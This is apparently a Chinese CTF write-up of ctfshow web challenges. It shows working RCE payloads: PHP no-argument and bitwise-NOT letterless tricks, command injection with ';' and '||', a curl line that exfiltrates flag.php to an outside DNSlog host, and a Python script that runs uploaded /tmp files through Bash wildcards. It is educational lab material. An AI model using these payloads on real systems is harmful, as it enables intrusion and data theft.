渗透基础知识ctfshow——Web应用安全与防护(第二章)

张开发
2026/4/19 7:56:00 15 分钟阅读

分享文章

渗透基础知识ctfshow——Web应用安全与防护(第二章)
ctfshow靶场——Web应用安全与防护第二章PHP无参数RCE利用localeconv与scandir等内置函数嵌套及数组指针操作在无参数输入的情况下动态构造参数并读取文件。无回显命令执行 (Blind RCE)通过将结果重定向至Web目录文件或利用curl/ping将执行结果通过 OOB 外带至外部日志平台。命令拼接注入与前端绕过使用分号;或||截断原有命令上下文配合base64编码输出以防 PHP 源码被浏览器当作标签隐藏。PHP无字母数字RCE利用 PHP 动态执行与位运算特性将取反后的不可见字符编码包裹在单引号中于eval环境中动态还原函数名与参数。Bash无字母数字RCE利用 POST 请求生成的/tmp/临时存放文件写入明文恶意命令并依靠. /???/????????[-[]等纯符号通配符盲打执行。文章目录一句话木马变形知识点原理讲解反弹shell构造极其重要知识点方法一重定向写入文件方法二OOB 外带数据 (Out-of-Band)管道符绕过过滤知识点绕过方法方法一重定向方法二直接查看flag.php内容方法三编码输出无字母数字代码执行重要知识点绕过方法取反构造法payload生成脚本无字母数字命令执行重要知识点绕过方法解决方案一键发包脚本总结一句话木马变形适合纯新手入门使用难度极低。知识点本关考察 PHP 无参数远程代码执行及字符过滤绕过技术核心在于利用内置函数嵌套动态生成参数。具体流程为首先通过current(localeconv())构造出点号.并传入scandir()获取当前目录文件数组接着由于目标文件位于原数组倒数第二位需使用array_reverse()翻转数组再配合next()函数提取出目标文件名最后将该文件名传递给show_source()函数以输出文件源代码。这里我们打开网页得到如下页面尝试输入PHP语句返回了报错# 只允许使用字母、数字、下划线、括号和分号Error: Invalid characters detected!Only letters, numbers, underscores ,parentheses and semicolons are allowed.可以看出后端的过滤规则极度严格禁止了空格、引号单双、美元符号$、点号.以及各种运算符。这意味着你无法直接使用字符串 system(“ls”)等命令执行函数既然常见的方式无法绕过system,tac,cat,nl,head,more 等函数phpfilter / data 伪协议include文件包含还有很多方法大家感兴趣可以看我的专栏CTF靶场命令执行部分原理讲解接下来这个绕过方法很久之前我就用过只不过不常见具体原理可以看这篇文章命令执行–scandir(‘.‘)的用法命令执行web40关# 1. 查看当前目录下的文件print_r(scandir(current(localeconv())));# 2. 读取 Flag 文件# 如果 flag.php 是数组的最后一个show_source(end(scandir(current(localeconv()))));# 如果 flag.php 是倒数第二个紧挨着最后一个show_source(prev(scandir(current(localeconv()))));# 但是flag在第三个怎么办可以用array_reverse函数show_source(next(array_reverse(scandir(pos(localeconv())))));核心原理就是像搭积木一样造出所需参数”完美绕过字符过滤造出.(当前目录)localeconv()返回本地化信息数组其第一项固定是小数点.。用current()取出它就等同于写了字符串.。读目录scandir(.)读取当前目录返回包含所有文件名的数组如[., .., flag.php]。定位文件利用数组指针函数精准抓取flag.php这个字符串若在最后一位用end()取出。若在倒数第二不能直接用prev()因为刚生成的数组指针在第一位往前会越界报错应该用next(array_reverse(...))即先翻转数组再取第二个。出结果外层套上show_source()直接打印出目标文件的源码拿下 Flag。具体步骤1print_r(localeconv());得到小数点.所以接下来可以使用scandir(‘.’)打印出当前目录2打印出小数点.搭配 函数使用current() 函数返回数组中的当前元素单元,默认取第一个值pos() 同 current() ,是current()的别名reset() 函数返回数组第一个单元的值如果数组为空则返回 FALSE打印当前目录print_r(scandir(pos(localeconv())));3根据文件的位置查看内容因为是第三个所以使用payloadshow_source(next(array_reverse(scandir(pos(localeconv())))));反弹shell构造极其重要适合纯新手入门使用难度极低。知识点本关考察无回显 RCEBlind RCE的两种经典解法重定向写文件在 Web 目录可写的情况下利用将命令结果输出到自定义 txt 文件中再通过浏览器直接访问该文件查看回显。OOB 数据外带在目录不可写但服务器出网的情况下利用curl或ping将命令结果常配合 Base64 编码拼接到外部接收平台的地址中发起请求最后在外部平台的日志记录里间接读取数据。这里我们输入whoamiid等命令但都是返回固定结果这是一个典型的无回显 RCE (Blind RCE)。后端的代码确实执行了你传入的系统命令但并没有将命令的标准输出 (stdout) 返回给 HTTP 响应体而是返回固定的结果方法一重定向写入文件如果当前的 Web 目录具有写权限你可以直接将命令执行的结果重定向或到一个新的 txt 或 php 文件中然后直接通过浏览器访问该文件读取结果。相应文章命令执行web43-44关输入如下命令cpflag.php out.txt随后访问 https://xx.challenge.ctf.show/out.txt即可得到结果也是得到结果方法二OOB 外带数据 (Out-of-Band)如果 Web 目录不可写例如没有权限或被限制但服务器允许出网你可以利用curl或wget 将执行结果作为 URL 的一部分请求你自己的服务器或DNSlog 平台。常用网站http://www.dnslog.cn/测试 Payloadcodecurl http://你的DNSlog地址.com/?data$(whoami)拿 Flag Payloadcodecurl http://你的VPS或DNSlog地址/?data$(cat /flag | base64)这里我尝试了两条命令# 查看当前目录文件列表codecurl http://gojo4j.xxxx.io/?d$(ls|base64-w0)# 读取 Flag 文件codecurl http://gojo4j.xxxx.io/?d$(catflag.php|base64-w0)执行命令后DNSlog平台均有相应随后查看http响应记录可以看到ls的结果以base64编码返回到url里随后查看flag.php的内容第二条命令成功返回结果管道符绕过过滤适合纯新手入门使用难度极低。知识点命令拼接注入利用分号;或逻辑符||等管道符打断原有命令上下文从而追加并执行自定义的恶意系统命令。源码查看与重定向直接读取.php文件时代码易被浏览器作为标签解析而隐藏需按 F12 看网页源码使用将结果重定向至.txt文件可直接在网页查看。编码输出绕过通过base64命令将目标文件内容编码为纯文本字符串输出能完美无视前端浏览器的解析干扰和后端的字符过滤提取后再解码即可。打开页面发现输入命令都会返回ls {输入的命令} execute success!尝试输入whoami猜测系统固定执行ls {输入参数}的命令所以我们应该可以查看所有的文件尝试输入/代表列出根目录的所有文件结果果然如此随后我又找到了flag.php的位置/var/www/html后面又尝试了其他命令利用 Linux 的命令分隔符“逃逸” 出前面的ls命令限制从而执行真正需要的读取操作如cat。在分号 (;) 顺序执行输入/; cat /flag或/; cat flag.php。系统会先执行ls /执行完毕后接着执行你的cat命令。逻辑或 (||) 短路执行输入fake_dir || cat /flag。故意给ls提供一个不存在的目录使其报错进而触发后面的cat命令。逻辑与 () 拼接输入/ cat /flag。管道符 (|)如果不知道 flag 的具体名字可以先尝试输入/; find / -name flag*或| ls / | grep flag进行搜索定位。很遗憾都失败了绕过方法这里我突然想到能不能换行试试果然有变化方法一重定向所以这里也有两种方法直接查看flag.php的内容 和 重定向到out.txt 再进行查看同样能够得到结果方法二直接查看flag.php内容没有内容其实查看源代码就行了方法三编码输出后端核心的漏洞代码最重要的部分大概率长这样$code$_POST[code];// 1. 打印你看到的拼接提示语echols .$code. execute success!\n;// 2. 危险函数直接拼接并执行导致了命令注入system(ls .$code);拼接后的完整命令为ls /; cat /var/www/html/flag.php绕过原理是利用 Linux Shell 的多命令分隔符如分号;强行打断原有的命令上下文使系统在执行完预设的ls操作后将后续拼接的输入作为独立的全新系统命令予以执行。# 把文件内容转成 Base64 字符串输出这样就不会被浏览器吃掉标签/;base64 /var/www/html/flag.php# 正常读取 查看网页源码/;catflag.php结果如下无字母数字代码执行重要适合纯新手入门使用难度极低。知识点本关考察无字母数字的命令执行绕过。当 WAF 严格过滤了全部字母和数字时我们可以利用 PHP 的动态函数执行与位运算如取反~特性。原理是预先将需要的函数名如system和参数的 ASCII 码进行位取反转换为由%和十六进制组成的不可见字符编码当后端 PHP 引擎执行由单引号包裹的(~不可见字符编码)时会将其再次取反在内存中完美还原为正常的英文字符串并执行从而巧妙避开所有正则过滤规则。这里尝试输入命令发现提示Error: Invalid shell code!输入数字123也是同样的结果绕过方法取反构造法这是一个经典的无字母数字 Bypass题型。当 WAF 严格过滤了[a-zA-Z0-9]时常规的函数名和参数都无法直接输入。解决的核心思路是利用 PHP 的位运算符如取反~或异或^与不可见字符不可打印的 ASCII 码进行运算在内存中动态生成我们需要的字母。在 PHP 7 及以上版本中最简单高效的方法是取反构造法。我们可以对需要的字符串逐个字符进行取反运算转成十六进制的 URL 编码。相应的的文章命令执行web57关由于这些 Payload 包含大量的 URL 编码符号%直接在网页输入框里填可能会被浏览器二次转义或截断。建议抓包后在 Repeater 中修改参数执行phpinfo();code(~%8F%97%8F%96%91%99%90)();(原理解析%8F取反就是字母p依此类推拼出phpinfo外层加括号当成函数调用)这里我们执行后成功返回phpinfor页面payload生成脚本日常刷题时手动算取反太麻烦了可以顺手写个 Python 小脚本在本地终端里直接生成你想要的任意无字母数字 Payloaddefgenerate_payload(func,arg):# 对函数名取反func_encoded.join([f%{hex(255-ord(c))[2:].upper()}forcinfunc])# 对参数取反arg_encoded.join([f%{hex(255-ord(c))[2:].upper()}forcinarg])# 修改为带单引号的格式payloadf(~{func_encoded})(~{arg_encoded});returnpayload# 生成 system(cat flag.php) 的 payloadprint(generate_payload(system,cat flag.php))这里直接构造命令system(cat falg.php);# cat flag.php结果(~%8C%86%8C%8B%9A%92)(~%9C%9E%8B%DF%99%93%9E%98%D1%8F%97%8F);# 查看当前目录(~%8C%86%8C%8B%9A%92)(~%93%8C);得到结果无字母数字命令执行重要名字与上一关很像我猜测原理应该也差不多但是上一关的payload无法使用知识点为什么上一关的(~%8C...)(~...)在这里失效了因为上一关的底层代码是 PHP 的eval($_POST[code])所以它能解析 PHP 的取反位运算符。而这一关从输入框默认的whoami以及报错回显可以看出底层又变回了Shell (Bash) 命令行执行类似于system(ls . $_POST[code]);。这里必须祭出 CTF 无字母数字 RCE 的绝对方法“临时文件上传 Shell 路径通配符”盲打。绕过方法上传文件当我们向 PHP 服务器发送一个包含文件上传的 POST 请求时PHP 会把文件默认暂存在/tmp/目录下并随机生成一个包含字母和数字的文件名比如/tmp/php1A2b3C。隐藏杀机上传的这个文件的内容是不受任何 WAF 过滤的所以我们可以在文件里不受限制的写上完整的cat flag.php。通配符执行我们在code参数里利用 Bash 的.(source 命令用于执行文件) 和?通配符去盲猜并执行这个临时文件。为了不用字母我们将路径写成/; . /???/????????[-[]/???匹配/tmp????????匹配php1A2b3C的前 8 个字符。[-[]是一个 ASCII 范围匹配专门匹配大写字母因为临时文件的最后一位很大概率是大写字母。解决方案一键发包脚本因为临时文件的最后一位是大写字母的概率大概是三分之一如果在 Burp Suite 里手动发包需要点好几次比较折腾。所以建议在本地运行下面这段Python 脚本它会自动帮你把 得到Flag importrequests# 1. 替换为你当前题目的实际 URLurlhttp://2511d1d3-19ce-402a-8578-8c77120dcaf7.challenge.ctf.show/# 2. 我们要上传的恶意文件内容是明文命令这里假设读 flag.phpfiles{file:(1.txt,cat flag.php)}# 3. 注入的无字母数字 Payload# 意思是截断 ls 命令然后执行 /tmp/ 下刚才上传的临时文件data{code:/; . /???/????????[-[]}print(开始盲打尝试匹配临时文件后缀...)# 循环发送直到临时文件的随机名以大写字母结尾被我们撞上foriinrange(20):try:responserequests.post(url,filesfiles,datadata)# 如果回显中包含了我们想要的结果避开默认的 execute success!ifflag{inresponse.textor?phpinresponse.text:print(f\n 第{i1}次尝试命中成功拿到回显)print(response.text)breakelse:print(f第{i1}次未命中 (临时文件尾号非大写)重试中...)exceptExceptionase:print(f请求报错:{e})运行说明直接运行这个脚本它会不断向服务器扔包含cat flag.php的临时文件并用纯符号命令去尝试执行它。一旦碰巧系统生成的临时文件名以大写字母结尾命令就会被成功执行就会直接得到flag很幸运只执行一次即可得到结果总结本章涉及到的知识点还是很多的PHP无参数RCE利用localeconv与scandir等内置函数嵌套及数组指针操作在无参数输入的情况下动态构造参数并读取文件。无回显命令执行 (Blind RCE)通过将结果重定向至Web目录文件或利用curl/ping将执行结果通过 OOB 外带至外部日志平台。命令拼接注入与前端绕过使用分号;或||截断原有命令上下文配合base64编码输出以防 PHP 源码被浏览器当作标签隐藏。PHP无字母数字RCE利用 PHP 动态执行与位运算特性将取反后的不可见字符编码包裹在单引号中于eval环境中动态还原函数名与参数。Bash无字母数字RCE利用 POST 请求生成的/tmp/临时存放文件写入明文恶意命令并依靠. /???/????????[-[]等纯符号通配符盲打执行。希望大家温故而知新期待下次再见

更多文章